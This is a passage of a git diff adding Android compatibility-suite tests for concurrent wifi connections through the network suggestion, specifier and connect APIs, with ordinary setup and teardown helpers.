+            } else {
+                fail("Unsupported security type found in saved networks");
+            }
+        } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+            suggestionBuilder.setIsEnhancedOpen(true);
+        } else if (!network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
+            fail("Unsupported security type found in saved networks");
+        }
+        suggestionBuilder.setIsHiddenSsid(network.hiddenSSID);
+        return suggestionBuilder;
+    }
+
+    private long getNumWifiConnections() {
+        Network[] networks = mConnectivityManager.getAllNetworks();
+        return Arrays.stream(networks)
+                .filter(n ->
+                        mConnectivityManager.getNetworkCapabilities(n).hasTransport(TRANSPORT_WIFI))
+                .count();
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Connect to a network using restricted suggestion API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToOemPaidSuggestionWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                .setOemPaid(true)
+                .build();
+        testConnectionFlowWithRestrictedSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, NET_CAPABILITY_OEM_PAID);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using restricted suggestion API.
+     * 2. Connect to a network using internet connectivity API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToInternetNetworkWhenConnectedToOemPaidSuggestion() throws Exception {
+        // First trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPaid(true)
+                        .build();
+        testConnectionFlowWithRestrictedSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, NET_CAPABILITY_OEM_PAID);
+
+        // Now trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Connect to a network using restricted suggestion API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToOemPrivateSuggestionWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPrivate(true)
+                        .build();
+        testConnectionFlowWithRestrictedSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, NET_CAPABILITY_OEM_PRIVATE);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using restricted suggestion API.
+     * 2. Connect to a network using internet connectivity API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToInternetNetworkWhenConnectedToOemPrivateSuggestion() throws Exception {
+        // First trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPrivate(true)
+                        .build();
+        testConnectionFlowWithRestrictedSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, NET_CAPABILITY_OEM_PRIVATE);
+
+        // Now trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(getNumWifiConnections()).isEqualTo(2);
+    }
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
new file mode 100644
index 0000000..732aa90
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -0,0 +1,695 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import static android.net.NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilitiesProto.TRANSPORT_WIFI;
+import static android.os.Process.myUid;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.location.LocationManager;
+import android.net.ConnectivityManager;
+import android.net.LinkProperties;
+import android.net.MacAddress;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.wifi.ScanResult;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.NetworkRequestMatchCallback;
+import android.net.wifi.WifiNetworkSpecifier;
+import android.os.WorkSource;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
+import android.text.TextUtils;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests multiple concurrent connection flow on devices that support multi STA concurrency
+ * (indicated via {@link WifiManager#isMultiStaConcurrencySupported()}.
+ *
+ * Tests the entire connection flow using {@link WifiNetworkSpecifier} embedded in a
+ * {@link NetworkRequest} & passed into {@link ConnectivityManager#requestNetwork(NetworkRequest,
+ * ConnectivityManager.NetworkCallback)} along with a concurrent internet connection using
+ * {@link WifiManager#connect(int, WifiManager.ActionListener)}.
+ *
+ * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
+ *
+ * TODO(b/177591382): Refactor some of the utilities to a separate file that are copied over from
+ * WifiManagerTest & WifiNetworkSpecifierTest.
+ *
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestBase {
+    private static final String TAG = "MultiStaConcurrencyWifiNetworkSpecifierTest";
+    private static boolean sWasVerboseLoggingEnabled;
+    private static boolean sWasScanThrottleEnabled;
+    private static boolean sWasWifiEnabled;
+
+    private Context mContext;
+    private WifiManager mWifiManager;
+    private ConnectivityManager mConnectivityManager;
+    private UiDevice mUiDevice;
+    private WifiConfiguration mTestNetworkForPeerToPeer;
+    private WifiConfiguration mTestNetworkForInternetConnection;
+    private TestNetworkCallback mNetworkCallback;
+    private TestNetworkCallback mNrNetworkCallback;
+
+    private static final int DURATION = 10_000;
+    private static final int DURATION_UI_INTERACTION = 25_000;
+    private static final int DURATION_NETWORK_CONNECTION = 60_000;
+    private static final int DURATION_SCREEN_TOGGLE = 2000;
+    private static final int SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID = 3;
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        // skip the test if WiFi is not supported. Don't use assumeTrue in @BeforeClass
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertNotNull(wifiManager);
+
+        // turn on verbose logging for tests
+        sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isVerboseLoggingEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(true));
+        // Disable scan throttling for tests.
+        sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isScanThrottleEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(false));
+
+        // enable Wifi
+        sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isWifiEnabled());
+        if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+        PollingCheck.check("Wifi not enabled", DURATION, () -> wifiManager.isWifiEnabled());
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertNotNull(wifiManager);
+
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setWifiEnabled(sWasWifiEnabled));
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mWifiManager = mContext.getSystemService(WifiManager.class);
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        // skip the test if WiFi is not supported
+        assumeTrue(WifiFeature.isWifiSupported(mContext));
+        // skip the test if location is not supported
+        assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION));
+        // skip if multi STA not supported.
+        assumeTrue(mWifiManager.isMultiStaConcurrencySupported());
+
+        assertTrue("Please enable location for this test!",
+                mContext.getSystemService(LocationManager.class).isLocationEnabled());
+
+        // turn screen on
+        turnScreenOn();
+
+        // Clear any existing app state before each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+
+        // We need 2 AP's for the test. If there are 2 networks saved on the device and in range,
+        // use those. Otherwise, check if there are 2 BSSID's in range for the only saved network.
+        // This assumes a CTS test environment with at least 2 connectable bssid's (Is that ok?).
+        List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.getPrivilegedConfiguredNetworks());
+        List<WifiConfiguration> matchingNetworksWithBssid =
+                findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks);
+        assertTrue("Need at least 2 saved network bssids in range",
+                matchingNetworksWithBssid.size() >= 2);
+        // Pick any 2 bssid for test.
+        mTestNetworkForPeerToPeer = matchingNetworksWithBssid.get(0);
+        // Try to find a bssid for another saved network in range. If none exists, fallback
+        // to using 2 bssid's for the same network.
+        mTestNetworkForInternetConnection = matchingNetworksWithBssid.stream()
+                .filter(w -> !w.SSID.equals(mTestNetworkForPeerToPeer.SSID))
+                .findAny()
+                .orElse(matchingNetworksWithBssid.get(1));
+
+        // Disconnect & disable auto-join on the saved network to prevent auto-connect from
+        // interfering with the test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : savedNetworks) {
+                        mWifiManager.disableNetwork(savedNetwork.networkId);
+                    }
+                    mWifiManager.disconnect();
+                });
+
+        // Wait for Wifi to be disconnected.
+        PollingCheck.check(
+                "Wifi not disconnected",
+                20_000,
+                () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Re-enable networks.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : mWifiManager.getConfiguredNetworks()) {
+                        mWifiManager.enableNetwork(savedNetwork.networkId, false);
+                    }
+                });
+        // Release the requests after the test.
+        if (mNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
+        }
+        if (mNrNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
+        }
+        // Clear any existing app state after each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        turnScreenOff();
+    }
+
+    private static void setWifiEnabled(boolean enable) throws Exception {
+        // now trigger the change using shell commands.
+        SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
+    }
+
+    private void turnScreenOn() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        // Since the screen on/off intent is ordered, they will not be sent right now.
+        Thread.sleep(DURATION_SCREEN_TOGGLE);
+    }
+
+    private void turnScreenOff() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        // Since the screen on/off intent is ordered, they will not be sent right now.
+        Thread.sleep(DURATION_SCREEN_TOGGLE);
+    }
+
+    private static class TestScanResultsCallback extends WifiManager.ScanResultsCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+
+        TestScanResultsCallback(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onScanResultsAvailable() {
+            onAvailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Loops through all the saved networks available in the scan results. Returns a list of
+     * WifiConfiguration with the matching bssid filled in {@link WifiConfiguration#BSSID}.
+     *
+     * Note:
+     * a) If there are more than 2 networks with the same SSID, but different credential type, then
+     * this matching may pick the wrong one.
+     */
+    private static List<WifiConfiguration> findMatchingSavedNetworksWithBssid(
+            @NonNull WifiManager wifiManager, @NonNull List<WifiConfiguration> savedNetworks) {
+        if (savedNetworks.isEmpty()) return Collections.emptyList();
+        List<WifiConfiguration> matchingNetworksWithBssids = new ArrayList<>();
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        for (int i = 0; i < SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID; i++) {
+            // Trigger a scan to get fresh scan results.
+            TestScanResultsCallback scanResultsCallback =
+                    new TestScanResultsCallback(countDownLatch);
+            try {
+                wifiManager.registerScanResultsCallback(
+                        Executors.newSingleThreadExecutor(), scanResultsCallback);
+                wifiManager.startScan(new WorkSource(myUid()));
+                // now wait for callback
+                assertTrue(countDownLatch.await(
+                        DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+            } catch (InterruptedException e) {
+            } finally {
+                wifiManager.unregisterScanResultsCallback(scanResultsCallback);
+            }
+            List<ScanResult> scanResults = wifiManager.getScanResults();
+            if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
+            for (ScanResult scanResult : scanResults) {
+                WifiConfiguration matchingNetwork = savedNetworks.stream()
+                        .filter(network -> TextUtils.equals(
+                                scanResult.SSID, removeDoubleQuotes(network.SSID)))
+                        .findAny()
+                        .orElse(null);
+                if (matchingNetwork != null) {
+                    // make a copy in case we have 2 bssid's for the same network.
+                    WifiConfiguration matchingNetworkCopy = new WifiConfiguration(matchingNetwork);
+                    matchingNetworkCopy.BSSID = scanResult.BSSID;
+                    matchingNetworksWithBssids.add(matchingNetworkCopy);
+                }
+            }
+            if (!matchingNetworksWithBssids.isEmpty()) break;
+        }
+        return matchingNetworksWithBssids;
+    }
+
+    private void assertConnectionEquals(@NonNull WifiConfiguration network,
+            @NonNull WifiInfo wifiInfo) {
+        assertEquals(network.SSID, wifiInfo.getSSID());
+        assertEquals(network.BSSID, wifiInfo.getBSSID());
+    }
+
+    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+        public boolean onUnavailableCalled = false;
+        public NetworkCapabilities networkCapabilities;
+
+        TestNetworkCallback(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onAvailable(Network network, NetworkCapabilities networkCapabilities,
+                LinkProperties linkProperties, boolean blocked) {
+            onAvailableCalled = true;
+            this.networkCapabilities = networkCapabilities;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onUnavailable() {
+            onUnavailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    private static class TestNetworkRequestMatchCallback implements NetworkRequestMatchCallback {
+        private final Object mLock;
+
+        public boolean onRegistrationCalled = false;
+        public boolean onAbortCalled = false;
+        public boolean onMatchCalled = false;
+        public boolean onConnectSuccessCalled = false;
+        public boolean onConnectFailureCalled = false;
+        public WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback = null;
+        public List<ScanResult> matchedScanResults = null;
+
+        TestNetworkRequestMatchCallback(Object lock) {
+            mLock = lock;
+        }
+
+        @Override
+        public void onUserSelectionCallbackRegistration(
+                WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback) {
+            synchronized (mLock) {
+                onRegistrationCalled = true;
+                this.userSelectionCallback = userSelectionCallback;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onAbort() {
+            synchronized (mLock) {
+                onAbortCalled = true;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onMatch(List<ScanResult> scanResults) {
+            synchronized (mLock) {
+                // This can be invoked multiple times. So, ignore after the first one to avoid
+                // disturbing the rest of the test sequence.
+                if (onMatchCalled) return;
+                onMatchCalled = true;
+                matchedScanResults = scanResults;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onUserSelectionConnectSuccess(WifiConfiguration config) {
+            synchronized (mLock) {
+                onConnectSuccessCalled = true;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onUserSelectionConnectFailure(WifiConfiguration config) {
+            synchronized (mLock) {
+                onConnectFailureCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    private void handleUiInteractions(WifiConfiguration network, boolean shouldUserReject) {
+        // can't use CountDownLatch since there are many callbacks expected and CountDownLatch
+        // cannot be reset.
+        // TODO(b/177591382): Use ArrayBlockingQueue/LinkedBlockingQueue
+        Object uiLock = new Object();
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestNetworkRequestMatchCallback networkRequestMatchCallback =
+                new TestNetworkRequestMatchCallback(uiLock);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+
+            // 1. Wait for registration callback.
+            synchronized (uiLock) {
+                try {
+                    mWifiManager.registerNetworkRequestMatchCallback(
+                            Executors.newSingleThreadExecutor(), networkRequestMatchCallback);
+                    uiLock.wait(DURATION_UI_INTERACTION);
+                } catch (InterruptedException e) {
+                }
+            }
+            assertTrue(networkRequestMatchCallback.onRegistrationCalled);
+            assertNotNull(networkRequestMatchCallback.userSelectionCallback);
+
+            // 2. Wait for matching scan results
+            synchronized (uiLock) {
+                try {
+                    uiLock.wait(DURATION_UI_INTERACTION);
+                } catch (InterruptedException e) {
+                }
+            }
+            assertTrue(networkRequestMatchCallback.onMatchCalled);
+            assertNotNull(networkRequestMatchCallback.matchedScanResults);
+            assertThat(networkRequestMatchCallback.matchedScanResults.size()).isAtLeast(1);
+
+            // 3. Trigger connection to one of the matched networks or reject the request.
+            if (shouldUserReject) {
+                networkRequestMatchCallback.userSelectionCallback.reject();
+            } else {
+                networkRequestMatchCallback.userSelectionCallback.select(network);
+            }
+
+            // 4. Wait for connection success or abort.
+            synchronized (uiLock) {
+                try {
+                    uiLock.wait(DURATION_UI_INTERACTION);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (shouldUserReject) {
+                assertTrue(networkRequestMatchCallback.onAbortCalled);
+            } else {
+                assertTrue(networkRequestMatchCallback.onConnectSuccessCalled);
+            }
+        } finally {
+            mWifiManager.unregisterNetworkRequestMatchCallback(networkRequestMatchCallback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+
+    /**
+     * Tests the entire connection flow using the provided specifier.
+     *
+     * @param specifier Specifier to use for network request.
+     * @param shouldUserReject Whether to simulate user rejection or not.
+     */
+    private void testConnectionFlowWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier, boolean shouldUserReject) {
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        // Fork a thread to handle the UI interactions.
+        Thread uiThread = new Thread(() -> handleUiInteractions(network, shouldUserReject));
+
+        // File the network request & wait for the callback.
+        mNrNetworkCallback = new TestNetworkCallback(countDownLatch);
+        try {
+            // File a request for wifi network.
+            mConnectivityManager.requestNetwork(
+                    new NetworkRequest.Builder()
+                            .addTransportType(TRANSPORT_WIFI)
+                            .removeCapability(NET_CAPABILITY_INTERNET)
+                            .setNetworkSpecifier(specifier)
+                            .build(),
+                    mNrNetworkCallback);
+            // Wait for the request to reach the wifi stack before kick-starting the UI
+            // interactions.
+            Thread.sleep(100);
+            // Start the UI interactions.
+            uiThread.run();
+            // now wait for callback
+            assertTrue(countDownLatch.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+        }
+        if (shouldUserReject) {
+            assertTrue(mNrNetworkCallback.onUnavailableCalled);
+        } else {
+            assertTrue(mNrNetworkCallback.onAvailableCalled);
+            assertConnectionEquals(
+                    network, (WifiInfo) mNrNetworkCallback.networkCapabilities.getTransportInfo());
+        }
+
+        try {
+            // Ensure that the UI interaction thread has completed.
+            uiThread.join(DURATION_UI_INTERACTION);
+        } catch (InterruptedException e) {
+            fail("UI interaction interrupted");
+        }
+    }
+
+    private void testSuccessfulConnectionWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier) {
+        testConnectionFlowWithSpecifier(network, specifier, false);
+    }
+
+    private void testUserRejectionWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier) {
+        testConnectionFlowWithSpecifier(network, specifier, true);
+    }
+
+    private static String removeDoubleQuotes(String string) {
+        return WifiInfo.sanitizeSsid(string);
+    }
+
+    private static class TestActionListener implements WifiManager.ActionListener {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onSuccessCalled = false;
+        public boolean onFailedCalled = false;
+        public int failureReason = -1;
+
+        TestActionListener(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onSuccess() {
+            onSuccessCalled = true;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onFailure(int reason) {
+            onFailedCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Triggers connection to one of the saved networks using {@link WifiManager#connect(
+     * WifiConfiguration, WifiManager.ActionListener)}
+     */
+    private void testConnectionFlowWithConnect(@NonNull WifiConfiguration network) {
+        CountDownLatch countDownLatchAl = new CountDownLatch(1);
+        CountDownLatch countDownLatchNr = new CountDownLatch(1);
+        TestActionListener actionListener = new TestActionListener(countDownLatchAl);
+        mNetworkCallback = new TestNetworkCallback(countDownLatchNr);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // File a callback for wifi network.
+            mConnectivityManager.registerNetworkCallback(
+                    new NetworkRequest.Builder()
+                            .addTransportType(TRANSPORT_WIFI)
+                            .addCapability(NET_CAPABILITY_INTERNET)
+                            .build(),
+                    mNetworkCallback);
+            // Trigger the connection.
+            mWifiManager.connect(network, actionListener);
+            // now wait for action listener callback
+            assertTrue(countDownLatchAl.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+            // check if we got the success callback
+            assertTrue(actionListener.onSuccessCalled);
+
+            // Wait for connection to complete & ensure we are connected to the saved network.
+            assertTrue(countDownLatchNr.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+            assertTrue(mNetworkCallback.onAvailableCalled);
+            assertConnectionEquals(
+                    network, (WifiInfo) mNetworkCallback.networkCapabilities.getTransportInfo());
+        } catch (InterruptedException e) {
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    private static WifiNetworkSpecifier.Builder
+            createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+            @NonNull WifiConfiguration network) {
+        WifiNetworkSpecifier.Builder specifierBuilder = new WifiNetworkSpecifier.Builder()
+                .setSsid(removeDoubleQuotes(network.SSID))
+                .setBssid(MacAddress.fromString(network.BSSID));
+        if (network.preSharedKey != null) {
+            if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
+                specifierBuilder.setWpa2Passphrase(removeDoubleQuotes(network.preSharedKey));
+            } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
+                specifierBuilder.setWpa3Passphrase(removeDoubleQuotes(network.preSharedKey));
+            } else {
+                fail("Unsupported security type found in saved networks");
+            }
+        } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+            specifierBuilder.setIsEnhancedOpen(true);
+        } else if (!network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
+            fail("Unsupported security type found in saved networks");
+        }
+        specifierBuilder.setIsHiddenSsid(network.hiddenSSID);
+        return specifierBuilder;
+    }
+
+    private long getNumWifiConnections() {
+        Network[] networks = mConnectivityManager.getAllNetworks();
+        return Arrays.stream(networks)
+                .filter(n ->
+                        mConnectivityManager.getNetworkCapabilities(n).hasTransport(TRANSPORT_WIFI))
+                .count();
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Connect to a network using peer to peer API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToPeerPeerNetworkWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Now trigger peer to peer connectivity.
+        WifiNetworkSpecifier specifier =
+                createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForPeerToPeer)
+                .build();
+        testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertEquals(2, getNumWifiConnections());
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using peer to peer API.
+     * 2. Connect to a network using internet connectivity API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToInternetNetworkWhenConnectedToPeerPeerNetwork() throws Exception {
+        // First trigger peer to peer connectivity.
+        WifiNetworkSpecifier specifier =
+                createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForPeerToPeer)
+                        .build();
+        testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+        // Now trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertEquals(2, getNumWifiConnections());
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Trigger connect to a network using peer to peer API which is rejected by user.
+     * 3. Verify that only one connection is active.
+     */
+    @Test
+    public void testPeerToPeerConnectionRejectWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Now trigger peer to peer connectivity.
+        WifiNetworkSpecifier specifier =
+                createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForPeerToPeer)
+                        .build();
+        testUserRejectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+        // Ensure that there is only 1 wifi connection available for apps.
+        assertEquals(1, getNumWifiConnections());
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ScanResultTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ScanResultTest.java
index 0dfeda8..98ba803 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ScanResultTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ScanResultTest.java
@@ -242,6 +242,7 @@
         }
    }
 
+    @VirtualDeviceNotSupported
     public void testScanResultTimeStamp() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/VirtualDeviceNotSupported.java b/tests/tests/wifi/src/android/net/wifi/cts/VirtualDeviceNotSupported.java
new file mode 100644
index 0000000..6c23f38f
--- /dev/null
